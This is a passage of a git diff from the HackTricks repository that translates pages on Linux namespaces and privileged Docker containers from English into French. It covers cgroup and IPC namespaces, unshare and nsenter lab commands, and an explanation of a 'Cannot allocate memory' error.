not see all of the processes on the system or the host network, for example**. Users can disable individual namespaces by using the **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`** container engines flags. +Les espaces de noms ne sont **PAS affectés** par le drapeau `--privileged`. Même s'ils n'ont pas les contraintes de sécurité activées, ils **ne voient pas tous les processus du système ou du réseau hôte, par exemple**. Les utilisateurs peuvent désactiver des espaces de noms individuels en utilisant les drapeaux des moteurs de conteneurs **`--pid=host`, `--net=host`, `--ipc=host`, `--uts=host`**. {% tabs %} -{% tab title="Inside default privileged container" %} +{% tab title="À l'intérieur d'un conteneur privilégié par défaut" %} ```bash # docker run --rm --privileged -it alpine sh ps -ef @@ -206,7 +190,7 @@ PID USER TIME COMMAND ``` {% endtab %} -{% tab title="Inside --pid=host Container" %} +{% tab title="Conteneur --pid=host interne" %} ```bash # docker run --rm --privileged --pid=host -it alpine sh ps -ef @@ -216,14 +200,11 @@ PID USER TIME COMMAND 3 root 0:00 [rcu_gp]ount | grep /proc.*tmpfs [...] ``` -{% endtab %} -{% endtabs %} +### Espace de noms utilisateur -### User namespace +Les moteurs de conteneurs **N'utilisent PAS l'espace de noms utilisateur par défaut**. Cependant, les conteneurs sans privilèges l'utilisent toujours pour monter des systèmes de fichiers et utiliser plus d'un seul UID. Dans le cas sans privilèges, l'espace de noms utilisateur ne peut pas être désactivé; il est nécessaire pour exécuter des conteneurs sans privilèges. Les espaces de noms utilisateur empêchent certains privilèges et ajoutent une sécurité considérable. -Container engines do **NOT use user namespace by default**. However, rootless containers always use it to mount file systems and use more than a single UID. In the rootless case, user namespace can not be disabled; it is required to run rootless containers. User namespaces prevent certain privileges and add considerable security. - -## References +## Références * [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines) @@ -231,10 +212,10 @@ Container engines do **NOT use user namespace by default**. However, rootless co ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/README.md b/linux-hardening/privilege-escalation/docker-security/namespaces/README.md index eaebf355c..3a6c8486f 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/README.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/README.md @@ -1,60 +1,60 @@ -# Namespaces +# Espaces de noms
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-### **PID namespace** +### **Espace de noms PID** {% content-ref url="pid-namespace.md" %} [pid-namespace.md](pid-namespace.md) {% endcontent-ref %} -### **Mount namespace** +### **Espace de noms Mount** {% content-ref url="mount-namespace.md" %} [mount-namespace.md](mount-namespace.md) {% endcontent-ref %} -### **Network namespace** +### **Espace de noms Réseau** {% content-ref url="network-namespace.md" %} [network-namespace.md](network-namespace.md) {% endcontent-ref %} -### **IPC Namespace** +### **Espace de noms IPC** {% content-ref url="ipc-namespace.md" %} [ipc-namespace.md](ipc-namespace.md) {% endcontent-ref %} -### **UTS namespace** +### **Espace de noms UTS** {% content-ref url="uts-namespace.md" %} [uts-namespace.md](uts-namespace.md) {% endcontent-ref %} -### Time Namespace +### Espace de noms Time {% content-ref url="time-namespace.md" %} [time-namespace.md](time-namespace.md) {% endcontent-ref %} -### User namespace +### Espace de noms utilisateur {% content-ref url="user-namespace.md" %} [user-namespace.md](user-namespace.md) {% endcontent-ref %} -### CGroup Namespace +### Espace de noms CGroup {% content-ref url="cgroup-namespace.md" %} [cgroup-namespace.md](cgroup-namespace.md) @@ -64,10 +64,10 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md index 89fc1bc67..b7c18f80a 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/cgroup-namespace.md @@ -1,90 +1,80 @@ -# CGroup Namespace +# Espace de noms CGroup
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -A cgroup namespace is a Linux kernel feature that provides **isolation of cgroup hierarchies for processes running within a namespace**. Cgroups, short for **control groups**, are a kernel feature that allows organizing processes into hierarchical groups to manage and enforce **limits on system resources** like CPU, memory, and I/O. +Un espace de noms CGroup est une fonctionnalité du noyau Linux qui fournit **l'isolation des hiérarchies de cgroup pour les processus s'exécutant dans un espace de noms**. Les cgroups, abréviation de **groupes de contrôle**, sont une fonctionnalité du noyau qui permet d'organiser les processus en groupes hiérarchiques pour gérer et appliquer des **limites sur les ressources système** telles que le CPU, la mémoire et l'E/S. -While cgroup namespaces are not a separate namespace type like the others we discussed earlier (PID, mount, network, etc.), they are related to the concept of namespace isolation. **Cgroup namespaces virtualize the view of the cgroup hierarchy**, so that processes running within a cgroup namespace have a different view of the hierarchy compared to processes running in the host or other namespaces. +Bien que les espaces de noms CGroup ne soient pas un type d'espace de noms distinct comme les autres que nous avons discutés précédemment (PID, montage, réseau, etc.), ils sont liés au concept d'isolation d'espace de noms. **Les espaces de noms CGroup virtualisent la vue de la hiérarchie de cgroup**, de sorte que les processus s'exécutant dans un espace de noms CGroup ont une vue différente de la hiérarchie par rapport aux processus s'exécutant dans l'hôte ou d'autres espaces de noms. -### How it works: +### Comment ça marche : -1. When a new cgroup namespace is created, **it starts with a view of the cgroup hierarchy based on the cgroup of the creating process**. This means that processes running in the new cgroup namespace will only see a subset of the entire cgroup hierarchy, limited to the cgroup subtree rooted at the creating process's cgroup. -2. Processes within a cgroup namespace will **see their own cgroup as the root of the hierarchy**. This means that, from the perspective of processes inside the namespace, their own cgroup appears as the root, and they cannot see or access cgroups outside of their own subtree. -3. Cgroup namespaces do not directly provide isolation of resources; **they only provide isolation of the cgroup hierarchy view**. **Resource control and isolation are still enforced by the cgroup** subsystems (e.g., cpu, memory, etc.) themselves. +1. Lorsqu'un nouvel espace de noms CGroup est créé, **il démarre avec une vue de la hiérarchie de cgroup basée sur le cgroup du processus créateur**. Cela signifie que les processus s'exécutant dans le nouvel espace de noms CGroup ne verront qu'un sous-ensemble de l'ensemble de la hiérarchie de cgroup, limité au sous-arbre de cgroup enraciné dans le cgroup du processus créateur. +2. Les processus dans un espace de noms CGroup **voient leur propre cgroup comme la racine de la hiérarchie**. Cela signifie que, du point de vue des processus à l'intérieur de l'espace de noms, leur propre cgroup apparaît comme la racine, et ils ne peuvent pas voir ou accéder aux cgroups en dehors de leur propre sous-arbre. +3. Les espaces de noms CGroup ne fournissent pas directement l'isolation des ressources ; **ils ne fournissent que l'isolation de la vue de la hiérarchie de cgroup**. **Le contrôle et l'isolation des ressources sont toujours appliqués par les sous-systèmes de cgroup (par exemple, cpu, mémoire, etc.) eux-mêmes**. -For more information about CGroups check: +Pour plus d'informations sur les CGroups, consultez : {% content-ref url="../cgroups.md" %} [cgroups.md](../cgroups.md) {% endcontent-ref %} -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -C [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` en utilisant le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle l'appel système unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Ainsi, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus. Le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp /bin/bash ``` +Si vous exécutez unshare avec l'option '-f', unshare va créer un nouveau processus après avoir créé le nouveau namespace pid. Et exécuter /bin/bash dans le nouveau processus. Le nouveau processus sera le pid 1 du nouveau namespace pid. Ensuite, bash va également créer plusieurs sous-processus pour effectuer certaines tâches. Comme bash lui-même est le pid 1 du nouveau namespace pid, ses sous-processus peuvent se terminer sans aucun problème. -If you run unshare with '-f' option, unshare will fork a new process after it create the new pid namespace. And run /bin/bash in the new process. The new process will be the pid 1 of the new pid namespace. Then bash will also fork several sub-processes to do some jobs. As bash itself is the pid 1 of the new pid namespace, its sub-processes can exit without any problem. - -Copied from [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory) +Traduit de [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
#### Docker - ```bash docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash ``` - -### Check which namespace is your process in - +### Vérifier dans quel namespace se trouve votre processus ```bash ls -l /proc/self/ns/cgroup lrwxrwxrwx 1 root root 0 Apr 4 21:19 /proc/self/ns/cgroup -> 'cgroup:[4026531835]' ``` - -### Find all CGroup namespaces +### Trouver tous les espaces de noms CGroup {% code overflow="wrap" %} ```bash @@ -94,22 +84,8 @@ sudo find /proc -maxdepth 3 -type l -name cgroup -exec ls -l {} \; 2>/dev/null ``` {% endcode %} -### Enter inside an CGroup namespace - +### Entrer dans un namespace CGroup ```bash nsenter -C TARGET_PID --pid /bin/bash ``` - -Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/cgroup`). - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). - -
+De plus, vous ne pouvez **entrer dans un autre espace de noms de processus que si vous êtes root**. Et vous ne pouvez **pas entrer** dans un autre espace de noms **sans un descripteur** pointant vers celui-ci (comme `/proc/self/ns/cgroup`). diff --git a/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md b/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md index 89c823653..dee10eed9 100644 --- a/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md +++ b/linux-hardening/privilege-escalation/docker-security/namespaces/ipc-namespace.md @@ -1,82 +1,72 @@ -# IPC Namespace +## Espace de noms IPC
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Basic Information +## Informations de base -An IPC (Inter-Process Communication) namespace is a Linux kernel feature that provides **isolation** of System V IPC objects, such as message queues, shared memory segments, and semaphores. This isolation ensures that processes in **different IPC namespaces cannot directly access or modify each other's IPC objects**, providing an additional layer of security and privacy between process groups. +Un espace de noms IPC (Inter-Process Communication) est une fonctionnalité du noyau Linux qui fournit une **isolation** des objets IPC System V, tels que les files de messages, les segments de mémoire partagée et les sémaphores. Cette isolation garantit que les processus dans des **espaces de noms IPC différents ne peuvent pas accéder directement ou modifier les objets IPC de l'autre**, offrant ainsi une couche de sécurité et de confidentialité supplémentaire entre les groupes de processus. -### How it works: +### Comment ça marche : -1. When a new IPC namespace is created, it starts with a **completely isolated set of System V IPC objects**. This means that processes running in the new IPC namespace cannot access or interfere with the IPC objects in other namespaces or the host system by default. -2. IPC objects created within a namespace are visible and **accessible only to processes within that namespace**. Each IPC object is identified by a unique key within its namespace. Although the key may be identical in different namespaces, the objects themselves are isolated and cannot be accessed across namespaces. -3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWIPC` flag. When a process moves to a new namespace or creates one, it will start using the IPC objects associated with that namespace. +1. Lorsqu'un nouvel espace de noms IPC est créé, il démarre avec un **ensemble complètement isolé d'objets IPC System V**. Cela signifie que les processus s'exécutant dans le nouvel espace de noms IPC ne peuvent pas accéder ou interférer avec les objets IPC dans d'autres espaces de noms ou le système hôte par défaut. +2. Les objets IPC créés dans un espace de noms sont visibles et **accessibles uniquement aux processus dans cet espace de noms**. Chaque objet IPC est identifié par une clé unique dans son espace de noms. Bien que la clé puisse être identique dans différents espaces de noms, les objets eux-mêmes sont isolés et ne peuvent pas être accessibles entre les espaces de noms. +3. Les processus peuvent se déplacer entre les espaces de noms en utilisant l'appel système `setns()` ou créer de nouveaux espaces de noms en utilisant les appels système `unshare()` ou `clone()` avec le drapeau `CLONE_NEWIPC`. Lorsqu'un processus se déplace vers un nouvel espace de noms ou en crée un, il commencera à utiliser les objets IPC associés à cet espace de noms. -## Lab: +## Laboratoire : -### Create different Namespaces +### Créer différents espaces de noms #### CLI - ```bash sudo unshare -i [--mount-proc] /bin/bash ``` - -By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**. +En montant une nouvelle instance du système de fichiers `/proc` en utilisant le paramètre `--mount-proc`, vous vous assurez que le nouveau namespace de montage a une **vue précise et isolée des informations de processus spécifiques à ce namespace**.
-Error: bash: fork: Cannot allocate memory +Erreur : bash: fork: Cannot allocate memory -If you run the previous line without `-f` you will get that error.\ -The error is caused by the PID 1 process exits in the new namespace. - -After bash start to run, bash will fork several new sub-processes to do somethings. If you run unshare without -f, bash will have the same pid as the current "unshare" process. The current "unshare" process call the unshare systemcall, create a new pid namespace, but the current "unshare" process is not in the new pid namespace. It is the desired behavior of linux kernel: process A creates a new namespace, the process A itself won't be put into the new namespace, only the sub-processes of process A will be put into the new namespace. So when you run: +Si vous exécutez la ligne précédente sans `-f`, vous obtiendrez cette erreur.\ +L'erreur est causée par la sortie du processus PID 1 dans le nouveau namespace. +Après le démarrage de bash, celui-ci va créer plusieurs nouveaux sous-processus pour effectuer des actions. Si vous exécutez unshare sans -f, bash aura le même PID que le processus "unshare" actuel. Le processus "unshare" actuel appelle le système d'appel unshare, crée un nouveau namespace PID, mais le processus "unshare" actuel n'est pas dans le nouveau namespace PID. C'est le comportement souhaité du noyau Linux : le processus A crée un nouveau namespace, le processus A lui-même ne sera pas mis dans le nouveau namespace, seuls les sous-processus du processus A seront mis dans le nouveau namespace. Ainsi, lorsque vous exécutez : ``` unshare -p /bin/bash ``` +Le processus unshare exécutera /bin/bash, et /bin/bash créera plusieurs sous-processus. Le premier sous-processus de bash deviendra le PID 1 du nouveau namespace, et le sous-processus se terminera après avoir terminé son travail. Ainsi, le PID 1 du nouveau namespace se termine. -The unshare process will exec /bin/bash, and /bin/bash forks several sub-processes, the first sub-process of bash will become PID 1 of the new namespace, and the subprocess will exit after it completes its job. So the PID 1 of the new namespace exits. - -The PID 1 process has a special function: it should become all the orphan processes' parent process. If PID 1 process in the root namespace exits, kernel will panic. If PID 1 process in a sub namespace exits, linux kernel will call the disable\_pid\_allocation function, which will clean the PIDNS\_HASH\_ADDING flag in that namespace. When linux kernel create a new process, kernel will call alloc\_pid function to allocate a PID in a namespace, and if the PIDNS\_HASH\_ADDING flag is not set, alloc\_pid function will return a -ENOMEM error. That's why you got the "Cannot allocate memory" error. - -You can resolve this issue by use the '-f' option: +Le processus PID 1 a une fonction spéciale : il doit devenir le processus parent de tous les processus orphelins. Si le processus PID 1 dans le namespace racine se termine, le noyau panique. Si le processus PID 1 dans un sous-namespace se termine, le noyau Linux appellera la fonction disable\_pid\_allocation, qui nettoiera le drapeau PIDNS\_HASH\_ADDING dans ce namespace. Lorsque le noyau Linux crée un nouveau processus, il appelle la fonction alloc\_pid pour allouer un PID dans un namespace, et si le drapeau PIDNS\_HASH\_ADDING n'est pas défini, la fonction alloc\_pid renverra une erreur -ENOMEM. C'est pourquoi vous obtenez l'erreur "Cannot allocate memory". +Vous pouvez résoudre ce problème en utilisant l'option '-f': ``` unshare -fp 